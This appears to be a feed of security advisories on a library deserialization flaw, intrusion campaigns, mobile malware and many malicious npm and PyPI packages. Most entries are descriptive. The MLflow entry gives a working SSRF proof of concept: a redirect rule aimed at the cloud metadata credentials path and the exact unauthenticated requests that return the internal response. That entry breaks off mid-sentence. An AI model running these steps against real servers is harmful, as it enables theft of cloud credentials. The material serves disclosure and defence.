Deserialization of Untrusted Data vulnerability in ash-project ash_cloak allows an attacker who can influence the bytes of an encrypted column to crash the BEAM node, by triggering unbounded atom creation or a decompression bomb during decryption.
AshCloak.Calculations.Decrypt decodes the decrypted binary with Ash.Helpers.non_executable_binary_to_term/1 without the :safe option, so atoms in the payload are interned during the decode and never garbage collected, and the term format's compressed form is inflated transparently. vault.decrypt!() is the only barrier and stops tampering only for an authenticated cipher. Cloak also ships the unauthenticated AES.CTR, whose ciphertext an attacker who knows their own plaintext can XOR into any same-length payload without the key, so an ordinary read of the forged column reaches the decoder. A few hundred kilobytes of distinct atoms exhausts the atom table, or a small compressed payload inflates to gigabytes.
This issue affects ash_cloak: from 0.1.0 before 0.4.0.
The TerminalFix campaign is a sophisticated multi-stage intrusion targeting organizations via compromised websites that display fake Cloudflare CAPTCHA overlays. Victims are tricked into executing malicious PowerShell commands that download and execute a signed legitimate binary alongside a malicious DLL for sideloading. This leads to steganographic payload extraction, extensive Active Directory reconnaissance, and deployment of a Python-based reverse-tunnel implant providing persistent network-level proxy access. The campaign enables attackers to pivot within the network, conduct domain enumeration, and maintain stealthy persistent access. Although no direct downstream actions were observed, the access gained could facilitate privilege escalation, data exfiltration, and ransomware deployment. The campaign combines advanced evasion techniques and persistent network access, posing a serious threat to enterprise environments.
The npm package @7nohe/openapi-react-query-codegen contains malicious code embedded in its tarball. A binding.gyp file abuses node-gyp's build process to execute an obfuscated JavaScript payload during installation, resulting in arbitrary code execution. The payload is a large obfuscated loader/dropper that cannot be inspected without execution. The package's legitimate purpose does not require native addons or such payloads, indicating deliberate malicious inclusion. Any system with this package installed should be considered fully compromised, and all secrets should be rotated immediately.
The npm package hydration-ui-dlx contains malicious code that executes a hidden Linux ELF binary upon import. This binary establishes a connection to a hardcoded command-and-control server, enabling full post-exploitation capabilities including remote shell access, payload fetching and execution, data exfiltration, persistence via systemd user units, and network pivoting through SOCKS5 proxy and TCP port forwarding. The package masquerades as a benign calendar utility, but its actual behavior compromises the host system completely.
The mlflow-otel-instrumentor package on PyPI impersonates AWS support but contains malicious code. During installation, it downloads and executes an unsigned ELF binary that runs as a background process. The payload attempts persistence, network scanning, and cryptocurrency mining. The package is a typosquatting attempt with clear malicious intent.
---
_-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (7eb0e96b324df04d5ecaf0739dec60dcb2367a26def0e713519c51e24ee790df)
The package advertises a numeric shuffle utility but its sole public function scrambleeer() opens a TCP socket to bax.h4x.tv on port 6363, dup2's the socket over stdin/stdout/stderr, and spawns /bin/bash via pty. Invoking the documented API therefore hands an interactive shell on the caller's host to the operator of bax.h4x.tv. The payload is compressed onto a single semicolon-separated line inside an otherwise innocuous shuffle routine, concealing the backdoor from casual review.
## Source: kam193 (52d5b1e99e57b038247cf3b7f86a7514e75275a095ca3f3cf044d80cbe999472)
When using the provided library, the code starts a reverse shell to a hardcoded location.
---
Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.
Campaign: 2026-08-scrambleeer
Reasons (based on the campaign):
- The package contains code to create a reverse shell, allowing an attacker to execute any commands on the victim's machine.
- action-hidden-in-lib-usage
### Summary
The default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server.
### Details
Three facts combine:
1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default.
2. The guard validates but pins nothing — `mlflow/utils/validation.py` `_validate_webhook_url`:
```python
schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default ["https"]
if parsed_url.scheme not in schemes: raise ...
if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False
for addr_info in socket.getaddrinfo(hostname, None):
ip = ipaddress.ip_address(addr_info[4][0])
if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata
```
The resolved IP is never carried into the connection.
3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:
```python
def _create_webhook_session():
adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning
...
def _send_webhook_request(webhook, payload, event, session):
_validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only
return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
# no allow_redirects=False -> 302 followed; redirect Location never re-validated
```
test_webhook returns response_status and response_body to the caller.
Bypass vectors:
Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it.
DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.
### PoC
All requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF
fetch is performed by the MLflow server itself; the internal response is reflected back in the
`/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP
and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.
Attacker redirect server (on {{ATTACKER}}, valid TLS cert):
nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }
Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."}
(an https://127.0.0.1/ variant is likewise rejected as a non-public IP)
<img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" />
Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
-> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}}
<img width="1394" height="520" alt="image" src="https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d" />
Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:
POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}
-> 200 {"result":{"success":true,"response_status":200,
"response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}
<img width="1399" height="453" alt="image" src="https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc" />
Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting
to a
Manic is a sophisticated Android malware active since at least February 2026, targeting users primarily in Ukraine and multiple European countries. It combines spyware, banking fraud, and remote control capabilities, targeting numerous banking, government/eID, payment, crypto wallet, messaging, and authenticator apps. The malware uses Android Accessibility services to capture sensitive inputs like PINs, passwords, and SMS codes via transparent overlays. Uniquely, it can exfiltrate data through nearby infected devices using Wi-Fi Direct or Bluetooth when direct internet access to its command-and-control server is unavailable, enabling multi-hop data relays. Infection vectors remain unknown, but the malware employs anti-analysis techniques and in-memory payload loading. Users are advised to avoid unofficial APK sources and restrict Accessibility permissions.
A security researcher gained unauthorized access to a server involved in distributing a modular malware campaign targeting Brazilian users. The malware includes a Trojan with keylogging, desktop capture, shellcode injection, a cryptominer, and a Tor-based command and control infrastructure. The infection chain uses multiple payload layers designed to maintain persistence even if one stage is disrupted. The researcher published a detailed report describing the infection chain and malware components.
The npm package bunnyhijack-test-0x00 (versions 1.0.0 and 1.0.1) contains malicious code that hijacks the node command during npm lifecycle scripts by placing a shim executable in node_modules/.bin. This hijack allows arbitrary code execution under the installer's user account during package installation. The current payload is benign, demonstrating the hijack by creating a marker file and printing a message, but the mechanism could be used to run any malicious code. Installing or running this package compromises the affected system, and all secrets and keys on that system should be rotated immediately from a different machine.
The npm package @wizloft/harness version 0.1.1-alpha.3 contains malicious code that performs on-chain command and control (C2) operations. Upon import, it queries a public Ethereum smart contract to retrieve a payload string, which is then executed via eval() in the Node.js process, enabling arbitrary remote code execution. The malicious payload is obfuscated and stored on-chain, making it resistant to takedown and invisible to standard registry scanners. This behavior contradicts the package README's claim of having no executable binary.
The npm package streak-cal-core version 1.0.0 contains malicious code that drops and executes a large base64-encoded ELF binary upon import. The package disguises this payload within the main module file and executes it as a side effect, which is inconsistent with its advertised functionality as a calendar/streak helper. This behavior indicates the package is a typosquat variant designed to execute opaque native code without user consent.
The npm package streak-metric-test@1.0.0 contains malicious code that executes a dropper payload upon import or require. The package writes a binary file to a hidden cache directory, sets executable permissions, and launches it as a detached background process. Although the current payload is inert, the mechanism is fully implemented and could be activated by populating the payload data. The package appears to be a staging artifact with no legitimate purpose for this behavior.
The sysdo npm package version 1.0.0 is a malicious package masquerading as a system binary configuration tool. Instead of its declared purpose, it installs a Windows surveillance payload that captures keystrokes, clipboard contents, screenshots, and on-screen text. It exfiltrates this data to a hardcoded external endpoint. The package silently installs Python and required surveillance libraries without user consent and runs the surveillance script covertly with hidden windows and hotkeys for operator control.
The npm package sw-pluginer masquerades as a Tailwind plugin but contains malicious code that executes arbitrary JavaScript fetched from a URL specified in a transient manifest.json file. This file is staged in node_modules/.bin and deleted after reading, concealing the payload source. The fetched code is executed via eval() in the Node.js build environment without any integrity checks, enabling remote code execution on the developer's machine during build time.
The npm package lodhash-cli is a typosquatting malicious package mimicking lodash. Its main entry exports an empty object, but its postinstall script downloads and executes a malicious binary from a personal GitHub repository without verification. The script also sends an HTTP beacon to a suspicious IP address indicating successful installation. It attempts to execute the payload on Windows hosts and Windows Subsystem for Linux (WSL) environments. The package version 1.0.0 is affected. No CVSS score is available, but the behavior indicates high risk due to arbitrary code execution and persistence.
The npm package commandor-cli version 1.0.0 contains malicious code in its postinstall script. This script XOR-decodes a hardcoded URL to download a binary from a personal GitHub repository, writes it to the temporary directory, and executes it detached. On Windows Subsystem for Linux (WSL), it uses a PowerShell command to execute the binary on the Windows host, extending the attack surface. Additionally, the script sends an install beacon with platform information to a hardcoded IP address over unencrypted HTTP. The binary is unsigned and fetched from an untrusted source, and the payload URLs and commands are obfuscated using XOR encoding.
The npm package 'lodahsjs' version 1.0.0 is a malicious typosquat of the legitimate 'lodash' package. It contains a postinstall script that performs hostile actions including sending system information to a hardcoded command-and-control server and downloading and executing a Windows binary from a suspicious GitHub release. The package has no legitimate functionality and is designed to deliver a malicious payload on Windows and Windows Subsystem for Linux (WSL) environments.
The typscript-cli npm package is a typosquatting malicious package impersonating the legitimate 'typescript' package. Its postinstall script executes automatically on installation, decoding and downloading a Windows executable payload that runs silently. It also sends platform information to a hardcoded IP address over unencrypted HTTP. There is no integrity verification or version pinning for the downloaded binary, increasing risk. The package affects version 1.0.0.
The typescipt-cli npm package version 1.0.0 contains malicious code that executes during installation. It sends the installer's platform information to a command-and-control server, downloads a binary payload without verification, and executes it on Windows systems, including via WSL. The malicious payload is XOR-encoded and dynamically reconstructed at runtime to evade detection.